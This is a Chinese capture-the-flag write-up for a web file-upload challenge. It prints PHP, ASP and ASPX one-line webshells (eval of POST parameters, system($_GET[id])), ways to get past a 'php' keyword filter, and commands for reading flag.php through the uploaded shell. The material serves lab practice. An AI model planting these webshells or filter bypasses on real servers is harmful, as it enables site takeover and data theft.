“百度杯”CTF比赛 九月场--web Upload

  • 基础知识
    • 1、什么是一句话木马?
    • 2、一句话木马的简要原理
    • 3、html渲染过程
      • 解析渲染该过程主要分为以下步骤
      • 解决方案
    • 4、Linux的cat命令
  • 解题思路
    • 1、题目分析
    • 2、求解
      • 第一种方法
      • 第二种方法
      • 第三种方法
  • 题目总结

基础知识

1、什么是一句话木马?

最简单的理解就是,一句话木马上传到网站后台,然后我们可以通过提交参数等的方式去获取shell,比如拿菜刀或者蚁剑等工具。比如下面这段php一句话木马:

<?php @eval($_POST['key']) ?>

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘key’]表示从页面中获得key这个参数值。

其中,只要攻击者满足三个条件,就能实现成功入侵:

  1. 木马上传成功,未被杀;
  2. 知道木马的路径在哪;
  3. 上传的木马能正常运行。

常见的一句话木马有:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。


2、一句话木马的简要原理

首先我们先看一个原始而又简单的php一句话木马:

 <?php @eval($_POST['cmd']); ?>

这句话什么意思呢?

  1. php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
  2. @符号的意思是不报错,即使执行错误,也不报错。
  3. 密码是cmd

为什么密码是cmd呢?那就要来理解这句话的意思了。php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']的意思就是a这个变量,用post的方法接收。

注释:传输数据的两种方法,get、post,post是在消息体存放数据;get是在消息头的url路径里存放数据(例如xxx.php?a=2)

如何理解eval()函数?
eval()把字符串作为PHP代码执行。例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';");连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有需要的什么文件,可以用php函数:opendir()和readdir()等等。想上传点文件,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()。

3、html渲染过程

  1. 用户输入url地址,浏览器根据域名寻找IP地址。
  2. 浏览器向服务器发送http请求,如果服务器段返回以301之类的重定向,浏览器根据相应头中的location再次发送请求。
  3. 服务器端接受请求,处理请求生成html代码,返回给浏览器,这时的html页面代码可能是经过压缩的。
  4. 浏览器接收服务器响应结果,如果有压缩则首先进行解压处理,紧接着就是页面解析渲染。

解析渲染该过程主要分为以下步骤

  1. 解析HTML
  2. 构建DOM树
  3. DOM树与CSS样式进行附着构造呈现树
  4. 布局
  5. 绘制

当浏览器请求服务器上的其他语言的脚本时,如php,则先运行脚本,然后将结果解析为HTML,再返回给浏览器呈现。

解决方案

  1. PHP htmlspecialchars() 函数

该函数把预定义的字符转换为 HTML 实体。即可以显示在页面中。

<script language="PHP">echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
  1. PHP file()函数

file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。也就是<?php成为了单独的一行,解释器只注释掉了这一行,后面的flag可以显示出来。

 <script language="PHP">print_r(file('../flag.'.'p'.'h'.'p'));</script>

4、Linux的cat命令

1.命令格式:cat [选项] [文件]...2.命令功能:cat主要有三大功能:1.一次显示整个文件:cat filename2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.3.将几个文件合并为一个文件:cat file1 file2 > file3.命令参数:-A, --show-all           等价于 -vET-b, --number-nonblank    对非空输出行编号-e                       等价于 -vE-E, --show-ends          在每行结束处显示 $-n, --number     对输出的所有行编号,由1开始对所有输出的行数编号-s, --squeeze-blank  有连续两行以上的空白行,就代换为一行的空白行 -t                       与 -vT 等价-T, --show-tabs          将跳格字符显示为 ^I-u                       (被忽略)-v, --show-nonprinting   使用 ^ 和 M- 引用,除了 LFD 和 TAB 之外

解题思路

1、题目分析

想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中

题目很简单,就是让我们在靶机的网站中上传文件。

2、求解

第一种方法

尝试读取flag.php 这里php也需要绕过,可以用.连接字符串绕过,也可以strtolower(‘PHP’)绕过

<script language="PHP">echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>

访问结果为空白,原因是php脚本上传在/u/xxx.php中,试一试上级目录吧

<script language="PHP">echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>

访问页面是空白的,查看源代码

<?php
echo 'here_is_flag';
'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';

得到flag

第二种方法

先看上传的文件内容中都有什么被过滤掉。发现过滤php关键字,然后在网上找到了另一种php一句话的木马<script language="pHp">@eval_r($_POST[‘key’])</script> 绕过<?限制的一句话然后用菜刀或者蚁剑连接,可以getshell,并且得到flag了。

第三种方法

构造payload:url/u/3.php?id=cat /var/www/html/flag.php

这种方法需要对文件存放目录很熟悉。首先构造如下的一句话木马:

<script language="PHP">system($_GET[id])</script>

PHP大写绕过,上传!执行:url/u/3.php?id=ls,发现php_errors.log日志文件,找到绝对路径:/var/www/html/u,然后直接命令查就可以了。然后利用cat 查看文件内容,最后就可以构造出payload了。

题目总结

这道题主要考察的是文件上传的知识,是一道很简单的练手难度问题,也没有涉及到很复杂的正则表达式过滤或者后缀过滤等等,再接再厉吧!

“百度杯”CTF比赛 九月场--web Upload相关推荐

  1. “百度杯”CTF比赛 九月场 Upload解题思路

    Hello,大家好,我是锘锘鸡. 今天分享给大家的是百度杯CTF比赛的Upload解题思路. 先看下题目 提示flag就在flag.php中. 进入答题链接 发现是文件上传,于是好奇的锘锘鸡开始了他的 ...

  2. “百度杯”CTF比赛 九月场Upload 之菜刀的使用

    最近越学习 越感觉自己菜 然而 这并不是重点 然而 我有一颗上进的心 哈哈哈 敲黑板 划重点了 我们把没用的地方删掉 直接进入菜刀方法解决这道题 题干不是白给的 上传一句话木马 <?php ev ...

  3. CTFhtml解析php,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名) Web程序 - 贪吃蛇学院-专业IT技术平台...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  4. 【SQL注入】CTF练习题WriteUp——“百度杯”CTF比赛 九月场SQL

    目录 1 前言 2 解题步骤 2.1 审题 2.2 判断注入数据类型及闭合方式 2.3 尝试联合查询注入 2.3.1 测试回显列数 2.3.2 测试显示位 2.3.3 爆库 3 总结 1 前言 本节内 ...

  5. “百度杯”CTF比赛 九月场_再见CMS(齐博cms)

    题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...

  6. cft-wp-百度杯CTF比赛 九月场(upload)

    打开连接 发现有个上传功能: 上传一句话试试:<?php @eval($_POST['pass']);?> 发现没有路径,看下源码: 找到路径,上菜刀提示连不上,猜测可能有过滤,或者文件不 ...

  7. ctf php fork,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  8. “百度杯”CTF比赛 九月场 Code

    前言 这道题基本上花了我差不多快5个小时,前面虽然遇到了小问题,但是自己也是努力攻克掉了,只是卡在了最后那块,看了很多WP,逻辑上花了很久很久才想明白.可以说,这题还是很不错的. WP 打开环境发现是 ...

  9. [WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程

    中华人民共和国网络安全法(出版物)_360百科 可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理. 目录 题目 寻找方向 f ...

最新文章

  1. Struts2 单个文件上传/多文件上传
  2. 一文详解图对比学习(GNN+CL)的一般流程和最新研究趋势
  3. mysql--innodb索引原理详解_MYSQL索引机制(InnoDB索引原理详解)
  4. postgresql 创建用户_PostgreSQL创建用户和修改用户密码
  5. Carbon Copy Cloner for Mac(磁盘克隆/同步/备份工具)直装版
  6. Knockout应用开发指南 第二章:监控属性(Observables)
  7. 【Java毕设项目】二十项毕设项目(附源码课件)
  8. 常见Web安全漏洞及测试方法(转载)
  9. Java 打印PDF文档的3种情况
  10. PyHook3简明教程
  11. PHP 把ofd格式文件转PDF,打开OFD格式文件及将OFD格式文件转换成PDF文件
  12. [PyTorch]手动实现logistic回归(只借助Tensor和Numpy相关的库)
  13. matlab分形曼德勃罗,曼德勃罗集合分形图案
  14. 解决vue+element 时间控件时间差,区域时差8小时
  15. @PersistenceContext和@Autowired在EntityManager上应用的区别。
  16. 正则表达式的基本用法
  17. 虚拟机中左键不能使用,鼠标滑轮和右键正常-解决方案
  18. 知物由学 | 易盾SaaS系统资损防控体系建设
  19. google网页翻译使用不了的解决方案
  20. Launcher功能入口

热门文章

  1. win10硬盘锁怎么解除_如何解锁BitLocker加密的Win10系统【图文教程】
  2. uniapp中,H5端使用html2canvas生成海报
  3. KDD 2017 参会报告
  4. 【社区图书馆】《网络工程师的Python之路:网络运维自动化实战(第2版)》
  5. wordpress只在首页显示友情链接方法
  6. [UML]建模是什么?为什么要建模?
  7. Linux下git操作(一)——git基本命令
  8. QTabBar 和 QTabWidget部件 页签
  9. 2019-10-06 因果系统的理解
  10. 将一个Vue项目跑起来